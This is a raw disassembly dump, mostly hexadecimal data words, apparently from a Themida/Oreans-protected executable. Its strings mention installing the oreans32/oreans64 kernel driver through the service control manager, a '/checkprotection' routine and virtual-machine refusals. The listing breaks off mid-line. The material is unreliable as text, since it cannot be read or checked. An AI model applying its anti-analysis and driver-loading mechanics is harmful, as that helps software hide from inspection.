dd 0Ch, 0B08BB5FFh, 95FF0647h, 647B097h, 0B08BB5FFh, 95FF0647h dd 6452BD1h, 8960C361h, 47B08F85h, 8B858D06h, 500647B0h dd 0AFF5858Dh, 68500647h, 80000001h, 0B09B95FFh, 46A0647h dd 0B08F858Dh, 6A500647h, 8D006A04h, 47B01B85h, 0B5FF5006h dd 647B08Bh, 0B5595FFh, 0BD830645h, 64530A1h, 0C840F00h dd 0FF000000h, 47B08BB5h, 9795FF06h, 0FF0647B0h, 47B08BB5h dd 0D195FF06h, 6106452Bh, 2985C6C3h, 52064518h, 0E47B0768h dd 0E1B5FFADh, 0FF06451Dh, 452F3D95h, 9B858906h, 0C60647B0h dd 45182985h, 0E5685206h, 0FF902E00h, 451DE1B5h, 3D95FF06h dd 8906452Fh, 47B09785h, 2985C606h, 52064518h, 0BF123568h dd 0E1B5FFB9h, 0FF06451Dh, 452F3D95h, 55858906h, 0C606450Bh dd 45182985h, 34685206h, 0FF987810h, 451DE1B5h, 3D95FF06h dd 8906452Fh, 452BD185h, 2985C606h, 52064518h, 5DBD468h dd 0E1B5FFC0h, 0FF06451Dh, 452F3D95h, 15858906h, 0E906451Eh dd 99h, 6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh dd 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 10h dd 55BD8300h, 647B7h, 0A840Fh, 85C70000h, 64504BDh, 1 dd 182985C6h, 68470645h, 7F581F35h, 58240481h, 0FF11154Dh dd 450985B5h, 0FB858D06h, 0FF064539h, 8BD0FFD0h, 223F80F8h dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h dd 31B84h, 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h dd 30384h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h dd 3F80FFFFh, 5850F00h, 0E9000000h, 2E0h, 1E9h, 3F804700h dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C3E9h, 0AE800h dd 0CBE90000h, 0E9FFFFFFh, 2B4h, 0B6D5B58Dh, 25E80647h dd 3000002h, 47B76ABDh, 6ABD8306h, 647B7h, 0B840Fh, 85C70000h dd 64530A1h, 1, 0E0B58DC3h, 0E80647B6h, 1FCh, 0B76ABD03h dd 0BD830647h, 647B76Ah, 0B840F00h, 0C7000000h, 4504BD85h dd 106h, 0B58DC300h, 647B759h, 1D3E8h, 6ABD0300h, 830647B7h dd 47B76ABDh, 840F0006h, 0Bh, 177D85C7h, 10645h, 8DC30000h dd 47B6EAB5h, 1AAE806h, 0BD030000h, 647B76Ah, 0B76ABD83h dd 0F000647h, 0B84h, 0BD85C700h, 1064504h, 0C3000000h dd 0B6F4B58Dh, 81E80647h, 3000001h, 47B76ABDh, 6ABD8306h dd 647B7h, 15840Fh, 85C70000h, 64504BDh, 1, 30A185C7h dd 10645h, 8DC30000h, 47B702B5h, 14EE806h, 0BD030000h dd 647B76Ah, 0B76ABD83h, 0F000647h, 0A84h, 9585C700h, 1064515h dd 8D000000h, 47B70CB5h, 126E806h, 0BD030000h, 647B76Ah dd 0B76ABD83h, 0F000647h, 0A84h, 9585C700h, 1064515h, 8D000000h dd 47B717B5h, 0FEE806h, 0BD030000h, 647B76Ah, 0B76ABD83h dd 0F000647h, 0A84h, 2585C700h, 1064501h, 8D000000h, 47B71DB5h dd 0D6E806h, 0BD030000h, 647B76Ah, 0B76ABD83h, 0F000647h dd 0A84h, 7985C700h, 106450Bh, 8D000000h, 47B723B5h, 0AEE806h dd 0BD030000h, 647B76Ah, 0B76ABD83h, 0F000647h, 0A84h dd 0ED85C700h, 1064511h, 8D000000h, 47B731B5h, 86E806h dd 0BD030000h, 647B76Ah, 0B76ABD83h, 0F000647h, 0A84h dd 0A985C700h, 1064522h, 8D000000h, 47B73EB5h, 5EE806h dd 0BD030000h, 647B76Ah, 0B76ABD83h, 0F000647h, 0A84h dd 8585C700h, 1064515h, 8D000000h, 47B749B5h, 36E806h dd 0BD030000h, 647B76Ah, 0B76ABD83h, 0F000647h, 0A84h dd 0D185C700h, 106450Ah, 0E9000000h, 1, 203F8047h, 9840Fh dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h dd 1CE9h, 3F8000h, 5850Fh, 0B90000h, 8A000000h, 0F163817h dd 284h, 46C92B00h, 3E8047h, 8840Fh, 0C90B0000h, 0FFD3850Fh dd 0C90BFFFFh, 21840Fh, 3F800000h, 9840F00h, 80000000h dd 850F203Fh, 0Ah, 1B9h, 5E900h, 0B90000h, 0B000000h, 0D840FC9h dd 2B000000h, 6AB589F3h, 0E90647B7h, 0Ah, 0B76A85C7h, 647h dd 0C3610000h, 13E8C88Bh, 0F6000000h, 9D8FC029h, 487FCF43h dd 0B8D3CFC7h, 0FE3A0AE4h, 0CE91912h, 9A000000h, 96F615A4h dd 0B443945Eh, 5BD1239Ah, 14E9h, 18D27100h, 57F6B40Fh dd 0E5A860A9h, 7E04E382h, 0EBE97E6h, 0BBC38133h, 0F00006Fh dd 0D83h, 0B5896000h, 6451FB9h, 0B7C78166h, 0BA619Fh, 0E9000000h dd 12h, 881287F4h, 4FF843B8h, 0D47C1A2Ch, 41789750h, 34FFF0EBh dd 5E81Ah, 2A290000h, 60FCF771h, 358501h, 5F610645h, 0F9858B59h dd 8106450Ah, 0A3E6BCC1h, 2860F23h, 8B000000h, 5FF181F8h dd 0F6A17B2h, 1089h, 0BE900h, 0F07E0000h, 7E7E4CDFh, 74E9B8h dd 0EAC18176h, 6653FD1Ch, 89E2F4BFh, 858B130Ch, 645247Dh dd 26D858Bh, 0EA830645h, 6E901h, 4ED80000h, 7A52213Ch dd 8B4A4A4Ah, 452141BDh, 44FA8106h, 0FFFFF91h, 0FFFF7D85h dd 9D0960FFh, 64514D1h, 0ED7371BAh, 0EE96102h, 33000002h dd 6E6E6143h, 7720746Fh, 65746972h, 65726F20h, 2E736E61h dd 0A647876h, 6B614D0Dh, 75732065h, 74206572h, 20746168h dd 73696874h, 6C696620h, 73692065h, 746F6E20h, 69656220h dd 7520676Eh, 20646573h, 61207962h, 68746F6Eh, 70207265h dd 72676F72h, 2E6D61h, 67h dup(0) dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 0EFE900h, 85C60000h, 6451829h, 5B866847h, 0B5FFE3E4h dd 6450985h, 39FB858Dh, 0D0FF0645h, 10468h, 0CD9D8D00h dd 53064515h, 8D50D0FFh, 47BDE8B5h, 32FE8B06h, 850FAEC0h dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 45182985h dd 0FC684306h, 0FFBC8E6Eh, 450985B5h, 0FB858D06h, 0FF064539h dd 0CDB58DD0h, 6A064515h, 806800h, 26A0000h, 6A006Ah, 68h dd 0D0FF56C0h, 85C6D88Bh, 6451829h, 0EE566857h, 0B5FFA69Bh dd 6450985h, 39FB858Dh, 0D0FF0645h, 89DBD8Dh, 8D8D0645h dd 647BF0Eh, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh dd 0BBF0B58Dh, 858D0647h, 647A84Bh, 8D8DD0FFh, 6457214h dd 0B8h, 0C6E1FF00h, 45182985h, 0A7684306h, 0FFC0764Ah dd 450985B5h, 0FB858D06h, 0FF064539h, 0D0FF53D0h, 37D0B9C3h dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0 dd offset dword_450050+4BB0h dd 0 dd 4000200h, 0 dd 3800000h, 1400h, 4 dup(0) dd 20000h, 1C000h, 9000h, 0 dd 7E00h, 0 dd 0C400h, 100h, 0DC00h, 3 dup(0) dd 12C00h, 13800h, 2 dup(0) dd 14200h, 19600h, 1D200h, 0 dd 1D200h, 0 dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0) dd 27C004h, 0 dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h dd 300h, 0 dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h dd 16B0007h, 277101h, 360h dup(0) dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0) dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h dd 9C3h dup(0) dd 1BE88300h, 7309F883h, 8524FF07h, 0 dd 0C3F8h, 8 dup(0) dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 10A9E900h, 44410000h dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0) aOreans32_sys db 'oreans32.sys',0 align 10h dd 0 dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0 dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0) aSystemroot db 'SYSTEMROOT',0 aSSystem32Drive db '%s\system32\drivers\%s',0 aSSyswow64Drive db '%s\syswow64\drivers\%s',0 aSSystem32Dri_0 db '%s\system32\drivers\oreans32.sys',0 align 4 dd 48h dup(0) dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h dd 72676F72h, 2E6D61h, 59h dup(0) dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h dd 20726568h, 676F7270h, 2E6D6172h, 67h dup(0) dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0) dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0) dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0) dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0) dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h dd 65h, 72430000h, 65746165h, 6E657645h, 50412074h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh dup(0) dd 10000000h, 0 dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0 dd 0F0001h db 8, 4, 0 byte_56E667 db 94h ; DATA XREF: Themida_:0053F2CCo dd 5000000h, 1000000h, 28000000h, 200000Ah, 21h dup(0) dd 8B000000h, 6890FC4h, 8B000000h, 450B2195h, 75858906h dd 0E9064505h, 5, 8206FA7Ch, 68B0F06h, 89000000h, 45209D8Dh dd 66C08B06h, 0DA9FCF81h, 30A1BD83h, 75000645h, 0BDBD8309h dd 64504h, 53501974h, 3DB8C08Bh, 89000004h, 4512FD85h dd 6C9D8D06h, 0FF0647B5h, 83585BD3h, 4504BDBDh, 17740006h dd 3DB85350h, 89000004h, 4512FD85h, 5B9D8D06h, 0FF0647B2h dd 0E9585BD3h, 6, 0BF74BEDDh, 0BF0F0B7Ch, 858509CAh, 8B064532h dd 6880FC0h, 8B000000h, 4521EDBDh, 1C08B06h, 452CDD9Dh dd 0A1BD8306h, 64530h, 0BD830975h, 64504BDh, 50137400h dd 0B8C08B53h, 0 dd 0B40E9D8Dh, 0D3FF0647h, 0BD83585Bh, 64504BDh, 50117400h dd 0B853h, 9D8D0000h, 647B2BFh, 585BD3FFh, 3890Fh, 0E5800000h dd 0C9B70F2Dh, 9D31C08Bh, 6451895h, 6AC08Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD83F3C3h dd 64530A1h, 83097500h, 4504BDBDh, 13740006h, 0C08B5350h dd 0B8h, 409D8D00h, 0FF0647B3h, 83585BD3h, 4504BDBDh, 11740006h dd 0B85350h, 8D000000h, 47B28D9Dh, 5BD3FF06h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 8F0FD48Ah, 8, 2880Fh, 61600000h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0E2C35040h, 8BCF8AA0h, 0A9BD8BC0h dd 8B064509h, 0F9FC60C0h, 0A1BD8361h, 64530h, 0BD830975h dd 64504BDh, 50137400h, 0B8C08B53h, 0 dd 0B3A79D8Dh, 0D3FF0647h, 0BD83585Bh, 64504BDh, 50117400h dd 0B853h, 9D8D0000h, 647B2A6h, 585BD3FFh, 0B589F88Bh dd 6451771h, 8166C08Bh, 8B54C6EAh, 51006AC0h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0C34B5C04h dd 0B2F0DB92h, 14E8F860h, 66000000h, 7235040h, 7FDF596Dh dd 4A5DFCD8h, 77FF8DD1h, 0FC4E14DDh, 0BD83615Fh, 64530A1h dd 83097500h, 4504BDBDh, 13740006h, 0C08B5350h, 0B8h, 0D99D8D00h dd 0FF0647B2h, 8A585BD3h, 13E9D5h, 92D50000h, 8ADEF66Dh dd 2620980Bh, 2DCE2A44h, 0AD7D5D01h, 0C38160E0h, 13D5BB0Ch dd 68E0Fh, 85090000h, 6452F15h, 0BFC08B61h, 2CF2D193h dd 0BF66C08Bh, 0BD8305B9h, 64530A1h, 83097500h, 4504BDBDh dd 19740006h, 0C08B5350h, 7D0B8h, 0FD858900h, 8D064512h dd 47B56C9Dh, 5BD3FF06h, 0BDBD8358h, 64504h, 53501774h dd 7D0B8h, 0FD858900h, 8D064512h, 47B25B9Dh, 5BD3FF06h dd 6820F58h, 89000000h, 450AC5B5h, 0CDB52906h, 8B06451Ch dd 0AD9509C0h, 0F064509h, 68Ch, 0E98D8B00h, 0C6064512h dd 45182985h, 85895306h, 6452011h, 395F9068h, 0C7816099h dd 79B07F79h, 85B5FF61h, 0E9064509h, 6, 1D594BA2h, 858DBAECh dd 64539FBh, 0FFF8BF0Fh, 0D958BD0h, 89064515h, 452A1185h dd 8E806h, 41300000h, 0BA7177F3h, 8D8BD541h, 64512D9h dd 2985C65Ah dword_56EA68 dd 57064518h, 68CEB70Fh, 90045206h, 0BF565F57h, 114B9874h ; DATA XREF: Themida_:0054A0A9o dd 85B5FF59h, 89064509h, 45221185h, 8D5EB506h, 4539FB85h dd 0A5858906h, 0FF06452Bh, 8D8529D0h, 8906452Ch, 452CE985h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0A224E29Bh, 7C620020h, 54BA665Ch, 2985C690h dd 43064518h, 0C5B58B60h, 6606451Fh, 0B930D181h, 4D958B61h dd 6806450Dh, 0BC907028h, 17B59D31h, 0B5FF0645h, 6450985h dd 85C28153h, 5920619Ch, 39FB858Dh, 8D8B0645h, 64522E9h dd 6E9D0FFh, 78000000h, 0D38CD15Bh, 79858967h, 0B5064511h dd 9DBD8B35h, 0C6064510h, 45182985h, 0EE94C06h, 0AD000000h dd 47248D34h, 0ED1A9F7Dh, 209B4A9Fh, 1CE96843h, 0CA8BD9DAh dd 985B5FFh, 6A0645h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0FA5E84C3h, 0F531F0B0h, 8E9E7h dd 0CBF90000h, 0E884235Fh, 858D83D1h, 64539FBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0CFC35747h, 1EAD952Bh dd 0D0FF0645h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0D9C35040h, 7920717Dh, 0F9B70FD9h, 6058589h, 0BD2B0645h dd 6451199h, 182985C6h, 0BA460645h, 0E1BC8C4h, 0DE061468h dd 51006ABAh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0A050E7FFh, 0FFCAB70Fh, 450985B5h, 61858906h dd 8D064509h, 4539FB85h, 11E906h, 0DEE30000h, 0BDBC512Dh dd 12C484AFh, 0A385FEB7h, 8BA0D618h, 45254DBDh, 0F8D0FF06h dd 17918589h, 6A0645h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 9E5E9C3h, 8958A120h, 45019DB5h dd 2985C606h, 47064518h, 4D9D8960h, 0E9064520h, 10h, 49AB6F72h dd 0B251AB97h, 872F2DA4h, 978B68E7h, 0B5E26861h, 0B5FF8A0Fh dd 6450985h, 8BB5D580h, 0FB858DCBh, 6A064539h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 9FFCC350h, 6D2B2983h, 0D858935h, 0FF06452Ah, 0AE9D0h dd 0FB060000h, 3AB5911h, 3890B7E4h, 8318589h, 8B660645h dd 2985C6D0h, 47064518h, 11E957h, 0D0CB0000h, 14B54477h dd 605376A6h, 75489DB2h, 5934ECD7h, 0D0B5F368h, 53006A83h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 303A3C59h, 0FF19038Eh, 450985B5h, 6810F06h, 81000000h dd 0FED3CFF7h, 0FB858D66h, 6A064539h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 709BC357h dd 66694CC0h, 0CAB70FEAh, 2B39BD01h, 0D0FF0645h, 17558589h dd 85890645h, 64530D1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 53C35040h, 0D6E18F54h, 0CF8BE8CFh, 182985C6h dd 0E9770645h, 7, 1EDB709Ch, 686B2868h, 0F397A8A3h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 77C35545h, 9E6C6BBBh dd 0FEB4589h, 685h, 0E9958B00h, 0E8064508h, 7 dword_56EDEC dd 6F8A5A4Dh, 0FC701E33h, 0E5B5FF5Fh, 8906452Bh, 4504D9BDh ; DATA XREF: Themida_:0053E44Co dd 0FB858D06h, 6A064539h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0EE5EC352h, 11E824h dd 71F70000h, 790F133Ah, 0E6D1555Eh, 76B79A30h, 8B741532h dd 0D0FF59CAh, 4DBD8Bh, 85890645h, 6453055h, 9F98D09h dd 85C60645h, 6451829h, 0F668FC47h, 6A8728FAh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 24E6C355h, 444E1026h, 11E8h, 0AED0AC00h, 5F292FAFh dd 3347BB1h, 5910E73Fh, 0B966C2A4h, 0FF5AE84Dh, 450985B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0B50915EEh, 6452B9Dh, 39FB858Dh, 8D8B0645h dd 6452C15h, 9589D0FFh, 6451359h, 17298589h, 6A0645h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 4675E1C3h, 85C6C7D2h, 6451829h, 0A5BD8B43h, 68064529h dd 0BC8E6EFCh, 11E9h, 0E35A9C00h, 1A962ADCh, 811611AEh dd 91F9902h, 0BF6601FAh, 0B5FF17D3h, 6450985h, 25870Fh dd 0CE80000h, 6F000000h, 93DB1386h, 106ED0ECh, 0E9DAB6C6h dd 0Eh, 3F373079h, 91BF3F0Bh, 0CFDF6987h, 8D5F2E5Bh, 4539FB85h dd 1BD8906h, 0FF064522h, 0FD8D89D0h, 89064508h, 45296985h dd 0C6D08B06h, 45182985h, 16BA4506h, 68688810h, 8E726969h dd 0E989CD80h, 13h, 94B6B8E5h, 4DF8613Bh, 783BD88h, 0AE7CB40Dh dd 0FF063BA3h, 450985B5h, 31958B06h, 8D06450Ah, 4539FB85h dd 0FFCA8B06h, 1D8589D0h, 0E9064501h, 0Dh, 5A1F5463h, 0D8560184h dd 197F269Dh, 2985C680h, 44064518h, 0E198D01h, 64680645h dd 0FFB8F2ECh, 450985B5h, 858DF906h, 64539FBh, 188D8D0Bh dd 958B0645h, 6451589h, 8D8BD0FFh, 6451369h, 12158589h dd 6A0645h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 59BF37C3h, 20B6E359h, 182985C6h, 89430645h dd 4512B59Dh, 4AA76806h, 6AC076h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 42EBEBC3h, 985B5FFh dd 6A0645h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0DFA61FC3h, 9169F162h, 8D8B1409h, 6450D51h dd 39FB858Dh, 0FFF90645h, 0C800FD0h, 0E9000000h, 7, 0C919E658h dd 897B27D6h, 45073585h, 21B58906h, 80064500h, 4802D1BDh dd 840F0006h, 5Ah, 530FBA66h, 2B3858Dh, 8D8B0648h, 6452359h dd 0A598B950h, 16A4075h, 66006AF8h, 6AD18Bh, 0BC5BD89h dd 95FF0645h, 6451179h, 1098589h, 85890645h, 6452C05h dd 98E78166h, 80FF6A75h, 0B5FFCAD2h, 6452C05h, 219D8D8Bh dd 95FF0645h, 6452CE9h, 22818D8Bh, 0C08B0645h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0ACC35141h, 12858D89h dd 0BD830645h, 64530A1h, 83097500h, 4504BDBDh, 19740006h dd 0C08B5350h, 7D1B8h, 0FD858900h, 8D064512h, 47B56C9Dh dd 5BD3FF06h, 0BDBD8358h, 64504h, 53501774h, 7D1B8h, 0FD858900h dd 8D064512h, 47B25B9Dh, 5BD3FF06h, 0AE958h, 0EB060000h dd 0B4B8035Fh, 134DC579h, 22E19D29h, 0BD090645h, 64501C5h dd 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 0B41BB4C3h, 95235B32h, 645222Dh, 2A4DBD8Bh dd 85C60645h, 6451829h, 57006A47h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 22BD6166h, 8D3A53F0h dd 658D8B5Ah, 5206451Fh, 7658D8Bh, 685A0645h, 93C8F7C1h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E5C35040h dd 8E0F3B06h, 0Dh, 259D8B60h, 0BE064531h, 7F2722Fh, 85B5FF61h dd 0F064509h, 1B8Bh, 158E0F00h, 0E9000000h, 10h, 0E21451B5h dd 4F2183D7h, 57875Fh, 0C5355933h, 9F18529h, 858D0645h dd 64539FBh, 1025BD89h, 95890645h, 6452CE5h, 8B66D0FFh dd 958B50D1h, 6450CFDh, 6F4858Dh, 840F0648h, 6, 2C398D8Bh dd 800F0645h, 17h, 12E9h, 11A4E600h, 4F9EBACCh, 5CBBAAF2h dd 0EDF1BED0h, 0C7B5EB44h, 9400h, 870F00h, 58000000h, 0FE9h dd 232CA600h, 4339B543h, 0E807F84Bh, 0AD642B7Ah, 6F4B58Dh dd 85890648h, 6452A79h, 2BC18056h, 8B66D0FFh, 0F4858DFBh dd 89064806h, 452419BDh, 4788306h, 4A850F06h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 56B0C352h, 14E9F9h, 330A0000h, 5D7B884Bh dd 3CA8D13Fh, 1C5A47FBh, 119E8439h, 8B66BB26h, 8885C7FEh dd 1064807h, 0B000000h, 4500D995h, 69BD8306h, 64515h, 6F850Fh dd 85890000h, 6451CC1h, 788BD83h, 0F000648h, 5C85h, 53E7BF00h dd 0BD837155h, 6450909h, 4A840F00h, 0F000000h, 689h, 658D0B00h dd 0C7064509h, 4505E185h, 6, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0DB2A7BDFh dd 8CB9C428h, 0F12F8EBh, 886h, 0C68B6000h, 8CEDB966h, 0DB8C6661h dd 20658D8Bh, 0BD8B0645h, 6450571h, 0F04C3F6h, 61584h dd 0C7D08B00h, 45002585h, 6, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0CB56F263h dd 468DAD2h, 5E96Dh, 11F00000h, 808A4060h, 4802DEBDh, 850F0006h dd 8, 6650C2B6h, 5F492FBFh, 182985C6h, 52470645h, 5B86685Ah dd 0FE9E3E4h, 7A000000h, 0B0F6E785h, 59AE92BCh, 3945E71Ah dd 0B5FF2033h, 6450985h, 418D8Bh, 858D0645h, 64539FBh dd 8AFBB70Fh, 8BD0FFF1h, 4501F58Dh, 68FE8B06h, 104h, 8418D8Bh dd 9D8D0645h, 64515CDh, 0FE8h, 17B4C00h, 0A9A09F63h, 35E70A6Bh dd 7B9E0E03h, 8358D8Bh, 53590645h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 17C35545h, 85BD2396h, 0FF064522h dd 0D1958BD0h, 8D064512h, 4515CD85h, 0C5BD8906h, 5006450Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C1C35343h dd 2808CBF4h, 959B589h, 8B660645h, 90858DCFh, 8B064802h dd 0FB8B50D6h, 0F963858Dh, 0FE8B0647h, 8050C1B6h, 95FF51E9h dd 6453055h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 44C35747h, 520B74EAh, 0D9812F2Ch, 23E349BAh, 660CC483h dd 7056C181h, 8068006Ah, 6A000000h, 